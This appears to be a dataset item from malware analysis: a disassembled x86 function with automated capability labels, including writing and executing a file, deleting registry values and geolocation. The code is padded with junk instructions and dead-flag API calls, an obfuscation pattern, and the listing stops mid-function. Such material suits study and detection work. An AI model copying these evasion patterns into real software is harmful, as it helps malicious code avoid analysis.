Function at 0x10032bc2
Capabilities:
Accept command line arguments
Clear file content
Create process on windows
Delete file
Delete registry value
Get file attributes
Get geographical location
Get graphical window text
Parse pe header
Query environment variable
Write and execute a file

Disassembly:
mov eax, 0x1008c350
call fcn.1008aa68
mov eax, 0x1734
call fcn.100735f0
push ebx
mov dword [ebp - 0x14], 6
push esi
mov dword [ebp - 0x50], 0x47a6deec
push edi
mov dword [ebp - 0x50], 0xd72276b8
or edi, 0xffffffff
mov dword [ebp - 0x50], 0xfffffffc
push 0
mov dword [ebp - 0x50], 0x9a57b5bf
mov dword [ebp - 0x50], 0xce4a6f44
pop eax
mov dword [ebp - 0x50], edi
push 1
mov dword [ebp - 0x40], 0xa7b445ac
mov byte [ebp - 0x65], dl
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x14], 0x18
pop esi
jmp 0x10032c53
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10032c3f
push esi
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10032c50
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffef
jne 0x10032c25
push 8
pop ebx
push 0xfffffffffffffffa
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10032cb0
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x50], 0x47c4d145
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x50], 0xa53061ec
mov dword [ebp - 0x50], 0xfffffffe
mov dword [ebp - 0x50], 6
mov dword [ebp - 0x50], 0xe75cb554
dec dword [ebp - 0x40]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10032cad
push eax
push 0x1f0d
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0xfffffffffffffffa
xor eax, eax
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10032c64
mov ecx, 0x4e6d4f28
mov dword [ebp - 0x198], ecx
mov dword [ebp - 0x194], ecx
mov dword [ebp - 0x190], ecx
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x14], 0x1f665683
mov dword [ebp - 0x20], 0x64ba8b35
mov dword [ebp - 0x40], 0xfffffffe
mov dword [ebp - 0x40], 0xf7828e97
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10032d10
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x680], 0x16e2c9bf
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10032cf7
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10032d73
mov eax, dword [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 0x20], eax
mov ecx, esi
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge bl
sub ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp eax, ebx
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
test ecx, ecx
sets al
xor ecx, ecx
cmp eax, 8
setge cl
sub ecx, 0x6e090b64
jne 0x10032d62
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
jg 0x10032d73
mov ecx, eax
jmp 0x10032d7b
xor eax, eax
xor esi, esi
inc esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x680]
push 4
pop ebx
sub ecx, eax
je 0x10032e28
xor eax, eax
mov dword [ebp - 0x18], 0xd55a
mov dword [ebp - 0x20], eax
jmp 0x10032db9
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10032db6
push 0x1a5d
push 0x12a5
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10032d9a
cmp dword [ebp - 0x18], eax
jne 0x10032de8
mov eax, dword [ebp - 0x680]
cmp eax, dword [ebp - 0x680]
jge 0x10032dd7
mov eax, dword [ebp - 0x680]
xor eax, eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x678]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x680]
neg ecx
sbb ecx, ecx
sub eax, 5
neg ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x402a
setg al
mov dword [ebp - 0x40], eax
jmp 0x10032e39
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10032e3b
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10032e52
push 0x21e9
push eax
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, 0x4e6d4f28
mov dword [ebp - 0x1b8], ecx
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0x1b0], ecx
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x40], 0xe2095e04
mov dword [ebp - 0x40], 0xddbc75b1
mov dword [ebp - 0x18], 0x3f0bde8a
mov dword [ebp - 0x18], 0xe17c927d
cmp dword [ebp - 0x1b0], eax
jne 0x10032ebb
mov eax, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
sub ecx, eax
mov eax, dword [ebp - 0x1b0]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x1b0]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1b0]
cmp eax, 0x705e8c87
mov eax, dword [ebp - 0x1b0]
setle cl
add eax, ecx
jne 0x10032fac
cmp dword [ebp - 0x40], eax
jne 0x10032fae
mov ecx, eax
mov dword [ebp - 0x38], edi
xor edx, edx
mov dword [ebp - 0x18], 0xa012
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
lea eax, [ecx - 1]
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setle cl
xor edx, edx
cmp eax, ecx
lea ecx, [ebp - 0x47c]
setg dl
imul edx, dword [ebp - 0x38]
imul edx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
xor eax, eax
inc eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x20], 0xd4e7937
mov dword [ebp - 0x14], 0xbc588e1b
push eax
call fcn.1001737a
xor eax, eax
mov dword [ebp - 4], eax
push 8
mov dword [ebp - 0x40], 0xa4ec
pop ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x2c], eax
jmp 0x10032fd2
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10032f2f
xor eax, eax
lea ecx, [eax + 1]
jmp 0x10032f31
push dword [ebp - 0x2c]
call fcn.10017408
mov dword [eax], 3
inc dword [ebp - 0x2c]
xor eax, eax
lea ecx, [ebp - 0x47c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x10032fc1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push 0
call fcn.10017408
push 0
lea ecx, [ebp - 0x47c]
call fcn.10017408
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x47c]
push 0
call fcn.10017408
push 0
lea ecx, [ebp - 0x47c]
mov esi, eax
call fcn.10017408
mov ecx, dword [esi]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x20]
setl dl
xor esi, esi
add eax, edx
inc esi
cmp eax, esi
jl 0x100331e1
push 3
lea ecx, [ebp - 0x318]
call fcn.1001737a
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 3
jge 0x10033074
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x318]
call fcn.10017408
mov dword [eax], esi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10033058
xor eax, eax
inc eax
mov dword [ebp - 0x20], 0x14
cmp dword [ebp - 0x20], 0x3b
jg 0x1003317b
jmp 0x1003308a
xor eax, eax
inc eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0xf0ed6937
mov dword [ebp - 0x18], 0x1300d3b5
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x100330b3
push 0x2507
call dword [sym.imp.USER32.dll_MessageBeep]
xor eax, eax
inc eax
cmp dword [ebp - 0x20], 0
jne 0x100330f1
push eax
lea ecx, [ebp - 0x318]
call fcn.10017408
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x318]
xor ebx, ebx
inc ebx
push ebx
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x100330e3
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
push ebx
lea ecx, [ebp - 0x318]
call fcn.10017408
jmp 0x100330f4
xor ebx, ebx
inc ebx
push 0
lea ecx, [ebp - 0x47c]
call fcn.10017408
push ebx
lea ecx, [ebp - 0x318]
call fcn.10017408
xor ecx, ecx
push 2
cmp dword [eax], ebx
setle cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x318]
call fcn.10017408
push ebx
lea ecx, [ebp - 0x318]
mov esi, eax
call fcn.10017408
xor ebx, ebx
push 0
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x318]
setne bl
call fcn.10017408
xor ecx, ecx
cmp ebx, dword [eax]
setg cl
xor eax, eax
inc eax
mov dword [ebp - 0x40], ecx
push eax
lea ecx, [ebp - 0x318]
call fcn.10017408
mov edx, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, dword [eax]
setne cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x3b
jle 0x10033087
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x100331d4
push 0x1730
push 0x1f9f
push 0x1fa1
push 0x1539
push 0xec1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x791
push 0xcdc
push 0xe83
push 0x174f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
lea ecx, [ebp - 0x318]
call fcn.10017403
jmp 0x10033241
mov dword [ebp - 0x2c], 0
jmp 0x100331fb
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x114], 0xfffffff6
inc dword [ebp - 0x2c]
xor eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x100331ea
mov eax, dword [ebp - 0x114]
lea ecx, [ebp - 0x47c]
push 0
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x1003322e
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x40], 0xfffffffe
or esi, 0xffffffff
lea ecx, [ebp - 0x47c]
mov dword [ebp - 4], esi
call fcn.10017403
mov dword [ebp - 0x38], 5
lea ecx, [ebp - 0x354]
mov dword [ebp - 0x24], 0x94b2ab76
mov dword [ebp - 0x18], 0x6128f3b8
push 3
call fcn.1001737a
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x57c]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x14], 0xa928
push 3
call fcn.1001737a
mov byte [ebp - 4], 3
mov ebx, 0xffff
mov dword [ebp - 0x38], 0xd571f7fc
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x40], 0x6dea2805
push 3
mov dword [ebp - 0x40], 0x48cb009
mov dword [ebp - 0x20], 0
pop edi
jmp 0x100332d6
push dword [ebp - 0x20]
lea ecx, [ebp - 0x354]
call fcn.10017408
mov dword [eax], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100332c3
mov dword [ebp - 0x20], 0
jmp 0x100332fb
push dword [ebp - 0x20]
lea ecx, [ebp - 0x57c]
call fcn.10017408
mov dword [eax], 0x6902
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100332e4
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x2f64
jge 0x10033382
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
dec dword [ebp - 0x18]
cmp eax, ecx
jl 0x10033320
xor eax, eax
lea esi, [eax + 1]
jmp 0x10033322
xor esi, esi
push 2
lea ecx, [ebp - 0x354]
call fcn.10017408
push 2
lea ecx, [ebp - 0x354]
mov dword [eax], esi
call fcn.10017408
or ecx, 0xffffffff
xor esi, esi
inc esi
xor edx, edx
mov dword [eax], ecx
mov ecx, esi
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x24]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x24]
jne 0x10033370
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp eax, esi
setl cl
cmp ecx, edi
jb 0x10033382
xor ecx, ecx
jmp 0x1003338a
xor eax, eax
xor esi, esi
inc esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
cmp esi, ecx
mov esi, 0xa7dc4cae
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
xor eax, eax
inc eax
cmp edx, eax
jl 0x1003340f
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x24], 0x31
jg 0x10033407
xor edi, edi
push eax
lea ecx, [ebp - 0x354]
call fcn.10017408
cmp dword [eax], edi
jne 0x10033407
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x31
push 1
pop eax
jle 0x100333eb
dec dword [ebp - 0x40]
jmp 0x1003364a
push eax
lea ecx, [ebp - 0x214]
call fcn.1001737a
push 4
pop eax
mov byte [ebp - 4], al
mov dword [ebp - 0xba4], esi
mov dword [ebp - 0xba0], esi
mov dword [ebp - 0xb9c], esi
mov dword [ebp - 0xb98], esi
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x2c], 0
jmp 0x10033460
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x214]
call fcn.10017408
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x2c]
xor eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x10033449
push 2
pop esi
push esi
lea ecx, [ebp - 0x57c]
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
je 0x1003351a
or eax, 0xffffffff
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x214]
push edi
call fcn.10017408
mov ecx, dword [ebp - 0x40]
push edi
mov dword [eax], ecx
lea ecx, [ebp - 0x214]
call fcn.10017408
cmp dword [eax], edi
je 0x100334fc
push esi
lea ecx, [ebp - 0x354]
call fcn.10017408
push edi
lea ecx, [ebp - 0x214]
mov esi, eax
call fcn.10017408
mov ecx, dword [eax]
mov dword [esi], ecx
test ecx, ecx
je 0x100334fc
push edi
lea ecx, [ebp - 0x214]
call fcn.10017408
mov eax, dword [eax]
sub eax, 0x7253
cmp dword [ebp - 0x24], eax
jle 0x100334fc
push edi
lea ecx, [ebp - 0x214]
call fcn.10017408
cmp dword [eax], edi
je 0x100334fc
xor eax, eax
lea esi, [eax + 1]
jmp 0x100334fe
xor esi, esi
push 0
lea ecx, [ebp - 0x214]
call fcn.10017408
xor ecx, ecx
push 2
cmp esi, dword [eax]
pop esi
setne cl
mov dword [ebp - 0x18], ecx
jmp 0x10033531
mov byte [ebp - 0x39], 0
cmp byte [ebp - 0x39], 0
je 0x10033531
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push esi
lea ecx, [ebp - 0x354]
call fcn.10017408
push 0
lea ecx, [ebp - 0x214]
mov dword [eax], 0x6fe0855b
call fcn.10017408
xor ebx, ebx
lea ecx, [ebp - 0x354]
push esi
cmp dword [eax], 0x8f94bbb
setl bl
call fcn.10017408
xor ecx, ecx
push esi
cmp ebx, dword [eax]
setge cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x57c]
call fcn.10017408
xor ebx, ebx
inc ebx
mov eax, dword [eax]
imul eax, dword [ebp - 0x40]
test eax, eax
jne 0x100335a0
push ebx
lea ecx, [ebp - 0x57c]
call fcn.10017408
xor edi, edi
cmp dword [eax], edi
jne 0x100335a0
xor eax, eax
jmp 0x100335a2
mov eax, ebx
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x354]
push esi
call fcn.10017408
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x34]
push 0
mov dword [eax], ecx
lea ecx, [ebp - 0x354]
call fcn.10017408
push 0
lea ecx, [ebp - 0x214]
call fcn.10017408
mov eax, dword [ebp - 0x54]
xor ecx, ecx
mov dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x40]
cmp eax, 0xe12f
setle cl
imul eax, ecx, 0x8e76
cmp dword [ebp - 0x24], eax
jne 0x100335f8
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x57c]
push esi
call fcn.10017408
push ebx
lea ecx, [ebp - 0x57c]
call fcn.10017408
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x214]
mov eax, dword [ebp - 0xb98]
push 0
call fcn.10017408
mov ecx, dword [ebp - 0xb98]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x214]
setne dl
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
call fcn.10017403
lea ecx, [ebp - 0x57c]
call fcn.10017403
or esi, 0xffffffff
lea ecx, [ebp - 0x354]
mov dword [ebp - 4], esi
call fcn.10017403
mov dword [ebp - 0x40], 0xe2095e04
mov dword [ebp - 0x40], 0xddbc75b1
mov dword [ebp - 0x18], 0x3f0bde8a
mov dword [ebp - 0x18], 0xe17c927d
cmp dword [ebp - 0x190], 0
jne 0x100336a3
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
sub ecx, eax
mov eax, dword [ebp - 0x190]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x190]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x190]
cmp eax, 0x705e8c87
mov eax, dword [ebp - 0x190]
setle cl
add eax, ecx
jne 0x10033a11
cmp dword [ebp - 0x40], eax
jne 0x10033a13
mov ecx, eax
mov dword [ebp - 0x38], esi
mov edi, 0x4e6d4f28
mov dword [ebp - 0x18], 0xa012
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
lea eax, [ecx - 1]
xor ecx, ecx
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x2c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
imul ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1d4], edi
mov dword [ebp - 0x1d0], edi
mov dword [ebp - 0x1cc], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x40], 0xe2095e04
mov dword [ebp - 0x40], 0xddbc75b1
mov dword [ebp - 0x18], 0x3f0bde8a
mov dword [ebp - 0x18], 0xe17c927d
cmp dword [ebp - 0x1d0], eax
jne 0x100337c5
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d0]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1d0]
mov eax, dword [ebp - 0x1d0]
sub ecx, eax
mov eax, dword [ebp - 0x1d0]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x1d0]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1d0]
cmp eax, 0x705e8c87
mov eax, dword [ebp - 0x1d0]
setle cl
add eax, ecx
jne 0x10033a26
cmp dword [ebp - 0x40], eax
jne 0x10033a28
mov ecx, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x18], 0xa012
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
lea eax, [ecx - 1]
xor ecx, ecx
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x2c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
push 5
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
imul ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x1a8], edi
mov dword [ebp - 0x1a4], edi
mov dword [ebp - 0x1a0], edi
mov dword [ebp - 0x19c], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
pop edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x40], 0xe2095e04
mov dword [ebp - 0x40], 0xddbc75b1
mov dword [ebp - 0x18], 0x3f0bde8a
mov dword [ebp - 0x18], 0xe17c927d
cmp dword [ebp - 0x1a0], eax
jne 0x100338e1
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a0]
xor ebx, ebx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a0]
sub ecx, eax
mov eax, dword [ebp - 0x1a0]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x1a0]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1a0]
cmp eax, 0x705e8c87
mov eax, dword [ebp - 0x1a0]
setle cl
add eax, ecx
jne 0x10033a3b
cmp dword [ebp - 0x40], eax
jne 0x10033a3d
mov ecx, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x18], 0xa012
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
lea eax, [ecx - 1]
xor ecx, ecx
movdqa xmm0, xmmword [0x10007d20]
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x2c]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
cmp eax, edx
setg cl
imul ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x15f8]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1444]
push eax
lea eax, [ebp - 0x1454]
push eax
movdqu xmmword [ebp - 0x1454], xmm0
call fcn.10017417
lea ecx, [ebp - 0x271]
mov esi, eax
call fcn.10008cd3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x594]
push dword [esi]
call fcn.100173d9
mov dword [ebp - 4], edi
push 3
mov dword [ebp - 0x20], 0
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x10033a08
xor edi, edi
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x428], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100339f6
mov dword [ebp - 0x20], 0
jmp 0x10033a61
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1003371b
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1003371d
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1003383d
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1003383f
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x10033959
xor eax, eax
lea ecx, [eax + 1]
jmp 0x1003395b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1538], 0x1e13
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10033a50
push 0
lea ecx, [ebp - 0x594]
call fcn.10017408
xor edi, edi
mov dword [eax], edi
jmp 0x10033ab2
xor eax, eax
mov dword [ebp - 0x40], 0x42a1
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10033aa1
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
inc dword [ebp - 0x40]
lea ecx, [ebp - 0x594]
push eax
call fcn.10017408
dec dword [eax]
push 0
lea ecx, [ebp - 0x594]
call fcn.10017408
cmp dword [eax], 0xffffffeb
jg 0x10033a79
mov eax, dword [ebp - 0x424]
lea ecx, [ebp - 0x594]
mov eax, dword [ebp - 0x424]
xor ebx, ebx
mov eax, dword [ebp - 0x424]
mov eax, dword [ebp - 0x424]
mov eax, dword [ebp - 0x424]
mov eax, dword [ebp - 0x428]
mov eax, dword [ebp - 0x424]
cmp eax, 6
push 0
setle bl
call fcn.10017408
push 2
lea ecx, [ebp - 0x594]
mov esi, dword [eax]
add esi, 0x6b471dfd
call fcn.10017408
xor edx, edx
cmp esi, ebx
setle dl
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x1530]
cmp edx, eax
setle cl
or edi, 0xffffffff
mov dword [ebp - 0x420], ecx
lea ecx, [ebp - 0x594]
mov dword [ebp - 4], edi
call fcn.10017403
xor ebx, ebx
lea ecx, [ebp - 0x904]
inc ebx
push ebx
call fcn.1001737a
mov dword [ebp - 4], 6
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0xa1fa147b
push 8
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10033b9a
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x904]
call fcn.10017408
mov dword [eax], ebx
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
push eax
pop ebx
cmp dword [ebp - 0x2c], eax
jl 0x10033b7b
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10033bc2
push eax
push 0x1aae
push 0x1632
push 0x4fd
